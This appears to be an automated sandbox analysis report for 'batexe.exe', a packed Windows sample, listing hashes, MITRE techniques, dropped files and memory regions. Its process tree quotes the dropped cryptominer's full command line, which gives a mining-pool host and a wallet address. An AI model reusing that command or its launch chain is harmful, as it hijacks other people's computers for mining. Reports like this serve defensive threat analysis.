73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 10:11

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2316	b2e.exe
3792	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3792	cpuminer-sse2.exe
3792	cpuminer-sse2.exe
3792	cpuminer-sse2.exe
3792	cpuminer-sse2.exe
3792	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2804-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 2316	2804	batexe.exe	84
PID 2804 wrote to memory of 2316	2804	batexe.exe	84
PID 2804 wrote to memory of 2316	2804	batexe.exe	84
PID 2316 wrote to memory of 4412	2316	b2e.exe	85
PID 2316 wrote to memory of 4412	2316	b2e.exe	85
PID 2316 wrote to memory of 4412	2316	b2e.exe	85
PID 4412 wrote to memory of 3792	4412	cmd.exe	88
PID 4412 wrote to memory of 3792	4412	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Users\Admin\AppData\Local\Temp\8C81.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8C81.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8C81.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\97EA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8C81.tmp\b2e.exe

Filesize
25.6MB

MD5
4c3984b952a19fe7380ff4ae956f3d6a

SHA1
18f0e1749d173d27b9ab38e312eae549b866b990

SHA256
a1fa1338c0ed040948e6ea47579a380419955c4a78482ce5961d21c3c97b7caa

SHA512
0d9f64376c06ccc0ae104a696c44007ef949e839fc558ef12f337b4e42f3b5584d2de315bba4e090a72a4548d5a23c0a9a23fb8039594bcd5f05254b7bd54e75

Download Submit
C:\Users\Admin\AppData\Local\Temp\8C81.tmp\b2e.exe

Filesize
2.8MB

MD5
1cd1f1463362e82070bd38c1ad8de2d3

SHA1
02b59eedcca64d1bcdbebabb05228cd292c1fdde

SHA256
80c54200113264848b0a02dfef414bee7e1000ae8db116136fad1a6474d43e29

SHA512
f67290611bf4653411f513f696f93add280763b3da208f3ad6a5c2b171fde413daf0d6e4909a13d93a08eed4946e98332ba40d07e39ba686cf356da9d87c355f

Download Submit
C:\Users\Admin\AppData\Local\Temp\8C81.tmp\b2e.exe

Filesize
1024KB

MD5
55d3fcf113506e85b6cf485f08b11290

SHA1
539d601fdd7e37fe22412d8c73023e21293ac62c

SHA256
519083ea4de496637895b9c3dd7fa5d9fc1140325272570f09aa0d2bad46f2d3

SHA512
62c0dc6a36ef819eede73c8b041fbdf579ec0ae399654a73a4628555bb84c4e1fdcf314deb659f41986204e2d92acd886dd8735a24a150a309d4035b58a33ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\97EA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
15bbe1e8aa36bd041ef374e4a718b3ff

SHA1
aeecafa9b469b1817448cceb28fa01383c6911cd

SHA256
a9190158d575ccd04cd992d45282d4a9254d62cce2e325216f06bece8fbf4bff

SHA512
4bc9647fc6d8de56eecc627c487d795d374f2da7a71b6b09bdfa9e518cb67fe12d5d0eeb13ff83c7a38eb41acfdf44b5397087c60c3542cbe3215969551f076a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.8MB

MD5
79f30eb5167f995681800c2518aa8e37

SHA1
5e121a4568798083193ca5e80a62f4ead41d7518

SHA256
04d1a3417abfce718f42008cc05cf95beacec714ef4d411a4f2b53e34f903897

SHA512
b63b549073b2a420829c26908b87539fc29c86a4bdc2cafd1f8cf8e0af95ae97a26d86d38d1e73aaa0dbbd2440dbbfc4c5865cef7682d00abdee868a24d928d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.9MB

MD5
433fbaa059a89e86d47264a44bcab62c

SHA1
013cf9e5e1a340fc001e414cdec4f5f4ad616e01

SHA256
65f315c6dbb2d4bdb11ad53e412404a8b7a4f6545c5cc10c96fcd07fbadec46c

SHA512
ad5fea0b2074f15dadab921a9caf9dbafe05d84433e317c7f41e56b0ad867fec5ce05655ce3e927a54dd0e56e33bfde4b00542179d04e93e2e0dff007afeba78

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2316-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2316-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2804-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3792-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3792-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-46-0x0000000073260000-0x00000000732F8000-memory.dmp

Filesize
608KB

Download
memory/3792-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3792-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3792-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download